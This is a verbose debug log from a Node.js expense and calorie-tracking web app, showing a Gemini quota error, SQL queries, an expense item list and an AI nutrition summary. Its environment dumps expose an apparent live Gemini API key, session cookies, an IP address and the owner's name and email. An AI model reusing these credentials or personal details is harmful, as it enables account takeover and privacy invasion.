2025-12-17T03:42:03.373Z server-connect:output Error at health_summary: Error: Failed to process meal_summary data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 20, model: gemini-2.5-flash-lite\\nPlease retry in 56.649865301s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-flash-lite\"\n            },\n            \"quotaValue\": \"20\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"56s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
    at exports.processWithGemini (/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:171:11)
    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2025-12-17T03:42:03.374Z server-connect:server Got error? Error: Failed to process meal_summary data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 20, model: gemini-2.5-flash-lite\\nPlease retry in 56.649865301s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-flash-lite\"\n            },\n            \"quotaValue\": \"20\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"56s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
    at exports.processWithGemini (/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:171:11)
    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2025-12-17T03:46:08.440Z server-connect:app Executing action step identify
2025-12-17T03:46:08.440Z server-connect:app options: { provider: 'security' }
2025-12-17T03:46:08.440Z server-connect:output identity: 1
2025-12-17T04:32:11.110Z server-connect:router Serving templateView /
2025-12-17T04:32:11.111Z server-connect:app Executing action step identify
2025-12-17T04:32:11.111Z server-connect:app options: { provider: 'security' }
2025-12-17T04:32:11.112Z server-connect:output identity: 1
2025-12-17T04:32:11.112Z server-connect:app Executing action step restrict
2025-12-17T04:32:11.112Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T04:32:11.114Z server-connect:output restrict: undefined
2025-12-17T04:32:11.114Z server-connect:app Executing action step restrict
2025-12-17T04:32:11.114Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T04:32:11.115Z server-connect:output restrict: undefined
2025-12-17T04:32:11.115Z server-connect:router Render template layouts/main
2025-12-17T04:32:11.115Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3A3QwrUCdis9i5OCmJnLs6K1BpcQvDIfb-.oXRIE93YJeeAJsGsrnGJA6oUbDg%2Fa%2F1TrdYX6XFlyvo',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T12:48:56.347Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3A3QwrUCdis9i5OCmJnLs6K1BpcQvDIfb-.oXRIE93YJeeAJsGsrnGJA6oUbDg%2Fa%2F1TrdYX6XFlyvo',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-17T04:32:12.687Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-17T04:32:12.688Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-17T04:32:12.688Z server-connect:app Executing action step identify
2025-12-17T04:32:12.688Z server-connect:app options: { provider: 'security' }
2025-12-17T04:32:12.688Z server-connect:output identity: 1
2025-12-17T04:32:12.688Z server-connect:app Executing action step restrict
2025-12-17T04:32:12.688Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T04:32:12.689Z server-connect:app Executing action step identify
2025-12-17T04:32:12.689Z server-connect:app options: { provider: 'security' }
2025-12-17T04:32:12.689Z server-connect:output identity: 1
2025-12-17T04:32:12.689Z server-connect:app Executing action step restrict
2025-12-17T04:32:12.689Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T04:32:12.689Z server-connect:output restrict: undefined
2025-12-17T04:32:12.689Z server-connect:app Executing action step single
2025-12-17T04:32:12.689Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-17T04:32:12.691Z server-connect:output restrict: undefined
2025-12-17T04:32:12.691Z server-connect:app Executing action step select
2025-12-17T04:32:12.691Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-17T04:32:12.691Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-17T04:32:12.695Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-17T04:32:15.676Z server-connect:router Serving templateView /calorie-tracker
2025-12-17T04:32:15.676Z server-connect:app Executing action step identify
2025-12-17T04:32:15.676Z server-connect:app options: { provider: 'security' }
2025-12-17T04:32:15.677Z server-connect:output identity: 1
2025-12-17T04:32:15.677Z server-connect:app Executing action step restrict
2025-12-17T04:32:15.677Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T04:32:15.677Z server-connect:output restrict: undefined
2025-12-17T04:32:15.677Z server-connect:router Render template calorie-tracker
2025-12-17T04:32:15.677Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"5303-OywrMWvAoMtH4nrMwrAq7h4NNJI"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A1gPePSrbAE%2BwJIGAQA%2BRuw%3D%3D.xwStsJ30ZCdgqgPRaVOjQIwDWVGMhODEGmgKlqcrvHww3qzWq%2FtsEcylNt8aNsPR3ZfUiAJfMWk%2F5FNvb6pfhPbZfQTWH8vSJORXTCFmrxcXeRiEvC7nKI48eMvPiLxbMzEn0HQyKa%2FQHunfkgQs3R%2B6EkWECGklFDLirBZ752Q%3D.gRm1H2FtgeZRuNgzcxdHda1Li9vU6jg6hdnRrSYQgMM; your_r_git.sid=s%3A3QwrUCdis9i5OCmJnLs6K1BpcQvDIfb-.oXRIE93YJeeAJsGsrnGJA6oUbDg%2Fa%2F1TrdYX6XFlyvo',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T12:48:56.347Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"5303-OywrMWvAoMtH4nrMwrAq7h4NNJI"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A1gPePSrbAE%2BwJIGAQA%2BRuw%3D%3D.xwStsJ30ZCdgqgPRaVOjQIwDWVGMhODEGmgKlqcrvHww3qzWq%2FtsEcylNt8aNsPR3ZfUiAJfMWk%2F5FNvb6pfhPbZfQTWH8vSJORXTCFmrxcXeRiEvC7nKI48eMvPiLxbMzEn0HQyKa%2FQHunfkgQs3R%2B6EkWECGklFDLirBZ752Q%3D.gRm1H2FtgeZRuNgzcxdHda1Li9vU6jg6hdnRrSYQgMM; your_r_git.sid=s%3A3QwrUCdis9i5OCmJnLs6K1BpcQvDIfb-.oXRIE93YJeeAJsGsrnGJA6oUbDg%2Fa%2F1TrdYX6XFlyvo',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-17T04:32:15.997Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-17T04:32:15.998Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-17T04:32:15.998Z server-connect:app Executing action step identify
2025-12-17T04:32:15.998Z server-connect:app options: { provider: 'security' }
2025-12-17T04:32:15.998Z server-connect:output identity: 1
2025-12-17T04:32:15.998Z server-connect:app Executing action step restrict
2025-12-17T04:32:15.998Z server-connect:app options: { provider: 'security' }
2025-12-17T04:32:15.998Z server-connect:output restrict: undefined
2025-12-17T04:32:15.998Z server-connect:app Executing action step single
2025-12-17T04:32:15.998Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-17T04:32:15.999Z server-connect:app Executing action step identify
2025-12-17T04:32:15.999Z server-connect:app options: { provider: 'security' }
2025-12-17T04:32:15.999Z server-connect:output identity: 1
2025-12-17T04:32:15.999Z server-connect:app Executing action step restrict
2025-12-17T04:32:15.999Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T04:32:15.999Z server-connect:output restrict: undefined
2025-12-17T04:32:15.999Z server-connect:app Executing action step single
2025-12-17T04:32:15.999Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-17T04:32:16.000Z server-connect:output summary: {
  summary: {
    rating: 3,
    summary: "The day's nutrition appears to be focused on post-workout recovery with a protein supplement. However, the overall dietary intake seems very limited, with few food items listed. Continued adherence to this pattern may hinder muscle development and optimal fat loss.",
    bad_points: [
      'Very limited food variety and quantity, suggesting low overall nutrient intake.',
      'Lack of substantial meals to support energy levels and muscle repair.',
      'No clear indication of a balanced macronutrient profile across the day.',
      'Meal timing is not comprehensively represented.'
    ],
    good_points: [
      'Post-workout protein intake is addressed with whey.',
      'Inclusion of healthy fats from walnuts.'
    ],
    suggestions: [
      'Incorporate a variety of protein sources throughout the day, including lean meats, fish, legumes, and dairy.',
      'Ensure adequate intake of complex carbohydrates from whole grains, fruits, and vegetables to fuel workouts and aid recovery.',
      'Include sources of fiber and micronutrients through a wider range of plant-based foods.',
      'Distribute meals and snacks more evenly to maintain consistent energy and support muscle protein synthesis.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'steady slight loss'
  },
  date: '2025-12-16T18:30:00.000Z'
}
